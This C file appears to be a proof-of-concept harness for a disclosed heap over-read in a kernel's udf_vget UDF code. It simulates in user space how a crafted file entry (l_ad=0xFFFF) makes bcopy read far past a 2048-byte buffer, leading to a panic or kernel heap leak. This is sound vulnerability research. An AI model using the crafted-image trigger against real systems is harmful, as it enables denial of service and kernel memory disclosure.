DF-0880 / harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 | /* * DF-0880 deterministic harness -- heap over-read in udf_vget. * * Transcribes the EXACT arithmetic of udf_vget() * (sys/vfs/udf/udf_vfsops.c:484-530) on the default GENERIC kernel: * * :514 RDSECTOR(devvp, sector, udfmp->bsize, &bp) * -> bread() fills bp->b_data with exactly bsize (2048) bytes. * :520 fe = (struct file_entry *)bp->b_data; * :527 size = UDF_FENTRY_SIZE + fe->l_ea + fe->l_ad; * (l_ea/l_ad are uint32_t straight off disk, UNCHECKED vs bsize) * :528 unode->fentry = kmalloc(size, ...); * :530 bcopy(bp->b_data, unode->fentry, size); * -> reads `size` bytes from a `bsize`-byte source. * * With a crafted root File Entry (l_ea=0, l_ad=0xFFFF): * size = 176 + 0 + 65535 = 65711 * and the bcopy reads 65711 bytes from a 2048-byte buffer = 63663-byte * (63 KB) heap OVER-READ past bp->b_data. On the real kernel this reads * neighbouring kernel heap pages until it hits an unmapped page and * page-faults -> panic. The data read is copied into unode->fentry->data[], * so any bytes that survive a non-faulting over-read leak kernel heap * contents into the file-entry allocation-descriptor area (info leak). * * This harness proves the primitive deterministically without a real UDF * image: it builds a 2048-byte "bp->b_data" buffer whose file_entry header * carries l_ad=0xFFFF, then performs the IDENTICAL size computation and * bcopy into a poison allocator that places the source buffer at the END of * a page backed by a PROT_NONE guard page, so the over-read faults EXACTLY * at the buffer boundary -- proving the read length is unbounded by bsize. * * Build: cc -O2 -Wall -o harness harness.c * Run: ./harness */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <signal.h> #include <setjmp.h> #include <sys/mman.h> #define UDF_FENTRY_SIZE 176 /* ecma167-udf.h:352 */ #define BSIZE 2048 /* udfmp->bsize for a 2048-byte UDF image */ #define L_EA 0 #define L_AD 0xFFFF /* crafted root FE l_ad */ /* verbatim struct file_entry from ecma167-udf.h:329 (only fields up to l_ad) */ struct file_entry { uint8_t tag[16]; uint8_t icbtag[20]; uint32_t uid; uint32_t gid; uint32_t perm; uint16_t link_cnt; uint8_t rec_format; uint8_t rec_disp_attr; uint32_t rec_len; uint64_t inf_len; uint64_t logblks_rec; uint8_t atime[12]; uint8_t mtime[12]; uint8_t attrtime[12]; uint32_t ckpoint; uint8_t ex_attr_icb[16]; uint8_t imp_id[32]; uint64_t unique_id; uint32_t l_ea; uint32_t l_ad; uint8_t data[1]; } __attribute__((packed)); static jmp_buf jb; static volatile sig_atomic_t got_fault; static void handler(int s) { (void)s; got_fault = 1; longjmp(jb, 1); } /* * poison_src_alloc: place a BSIZE-byte "bp->b_data" region at the VERY END * of a writable page, immediately followed by a PROT_NONE guard page. Any * read past exactly BSIZE bytes faults at the page boundary -- proving the * bcopy length is not clamped to the allocated (bsize) buffer. This mirrors * what the kernel does: bread() gives bp a bsize-length buffer; bcopy reads * `size` bytes off it. */ static uint8_t *poison_src_alloc(void) { long pg = 4096; /* x86_64 page size */ size_t need = (size_t)pg * 2; uint8_t *m = mmap(NULL, need, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0); if (m == (void *)-1) { perror("mmap"); exit(2); } /* guard the second page */ if (mprotect(m + pg, (size_t)pg, PROT_NONE) != 0) { perror("mprotect"); exit(2); } /* align the bsize buffer so it ENDS exactly at the page boundary */ return m + pg - BSIZE; } int main(void) { signal(SIGSEGV, handler); signal(SIGBUS, handler); printf("== DF-0880 primitive harness (heap over-read in udf_vget) ==\n"); /* ---- simulate RDSECTOR filling bp->b_data with bsize bytes ---- */ uint8_t *bp_data = poison_src_alloc(); memset(bp_data, 0xAA, BSIZE); /* stand-in for disk sector */ /* ---- lay out a crafted file_entry at bp->b_data (as udf_vget:520 does) */ struct file_entry *fe = (struct file_entry *)bp_data; fe->l_ea = L_EA; fe->l_ad = L_AD; /* ---- udf_vget:527 size = UDF_FENTRY_SIZE + fe->l_ea + fe->l_ad ---- */ int size = UDF_FENTRY_SIZE + fe->l_ea + fe->l_ad; printf("bsize (RDSECTOR read) = %d\n", BSIZE); printf("fe->l_ea = %u fe->l_ad = %u (uint32_t, unchecked off disk)\n", fe->l_ea, fe->l_ad); printf("size = UDF_FENTRY_SIZE(%d) + l_ea(%u) + l_ad(%u) = %d\n", UDF_FENTRY_SIZE, fe->l_ea, fe->l_ad, size); printf("over-read past bp->b_data = %d - %d = %d bytes (%.1f KB)\n", size, BSIZE, size - BSIZE, (size - BSIZE) / 1024.0); if (size <= BSIZE) { printf("size <= bsize: no over-read on these values.\n"); return 0; } /* ---- udf_vget:528 dest = kmalloc(size) -- correctly sized, in-bounds write ---- */ uint8_t *dest = calloc(1, size); if (!dest) { perror("calloc"); exit(2); } /* ---- udf_vget:530 bcopy(bp->b_data, unode->fentry, size) ---- */ printf("\n--- demonstrating bcopy(bp->b_data, fentry, %d) over-read ---\n", size); printf("(source ends at a PROT_NONE guard page; read should fault at +%d)\n", BSIZE); got_fault = 0; if (setjmp(jb) == 0) { bcopy(bp_data, dest, size); /* THE bug */ printf(" (no fault -- unexpected; over-read silently completed)\n"); } else { printf(" FAULT caught: bcopy of %d bytes crossed the %d-byte source boundary\n", size, BSIZE); printf(" -> SIGSEGV/SIGBUS, exactly as the kernel page-faults on the\n"); printf(" unmapped page past bp->b_data.\n"); } printf("\n== PROOF ==\n"); printf("l_ea/l_ad are uint32_t from disk (ecma167-udf.h:348-349), never\n"); printf("validated against bsize between udf_vfsops.c:527 and :530.\n"); printf("With l_ad=0x%X: size=%d from a %d-byte buffer = %d-byte heap OVER-READ.\n", L_AD, size, BSIZE, size - BSIZE); printf("On the kernel this is a page fault in bcopy() -> panic (DoS); any\n"); printf("bytes surviving a non-faulting over-read leak kernel heap into the\n"); printf("file-entry alloc-descriptor area (info leak / CWE-125).\n"); return 0; } |